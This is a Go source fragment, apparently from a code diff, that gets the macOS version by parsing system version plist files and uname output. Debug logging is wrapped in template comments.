func getString(input []byte) string {
ver := string(input)
if i := strings.Index(ver, "\x00"); i != -1 {
ver = ver[:i]
}
return ver
}
func readOSRelease() string {
paths := []string{
"/System/Library/CoreServices/SystemVersion.plist",
"/System/Library/CoreServices/ServerVersion.plist",
}
for _, path := range paths {
file, err := os.Open(path)
if err != nil {
continue
}
properties, err := parsePlistFile(file)
_ = file.Close()
if err != nil {
//{{if .Config.Debug}}
log.Printf("error parsing %s: %v", path, err)
//{{end}}
continue
}
if osRelease := buildOSRelease(properties); osRelease != "" {
return osRelease
}
}
return ""
}
func parsePlistFile(file *os.File) (map[string]string, error) {
var v plist
if err := xml.NewDecoder(file).Decode(&v); err != nil {
return nil, err
}
if len(v.Dict.Key) != len(v.Dict.String) {
return nil, errors.New("invalid plist content")
}
properties := make(map[string]string, len(v.Dict.Key))
for i, key := range v.Dict.Key {
properties[key] = v.Dict.String[i]
}
return properties, nil
}
func buildOSRelease(properties map[string]string) string {
productName := properties["ProductName"]
productVersion := properties["ProductVersion"]
productBuildVersion := properties["ProductBuildVersion"]
if productName == "" || productVersion == "" || productBuildVersion == "" {
return ""
}
return fmt.Sprintf("%s %s (%s)", productName, productVersion, productBuildVersion)
}
func normalizeArch(arch string) string {
arch = strings.TrimSpace(arch)
if arch == "" {
return ""
}
switch strings.ToLower(arch) {
case "amd64":
return "x86_64"
case "i386", "i486", "i586", "i686", "x86":
return "x86"
default:
return arch
}
}
func formatDetailedVersion(osRelease, kernel, arch string) string {
parts := make([]string, 0, 3)
if osRelease != "" {
parts = append(parts, osRelease)
}
if kernel != "" {
parts = append(parts, fmt.Sprintf("kernel %s", kernel))
}
if arch != "" {
parts = append(parts, arch)
}
return strings.Join(parts, " ")
}
func GetVersion() string {
osRelease := readOSRelease()
var uname unix.Utsname
if err := unix.Uname(&uname); err != nil {
//{{if .Config.Debug}}
log.Printf("error getting OS version: %v", err)
//{{end}}
return osRelease
}
if osRelease == "" {
osRelease = getString(uname.Sysname[:])
}
kernel := getString(uname.Release[:])
arch := normalizeArch(getString(uname.Machine[:]))
return formatDetailedVersion(osRelease, kernel, arch)
}
Loaded 100 of 642 files, more files were not shown because too many files have changed in this diff. Show more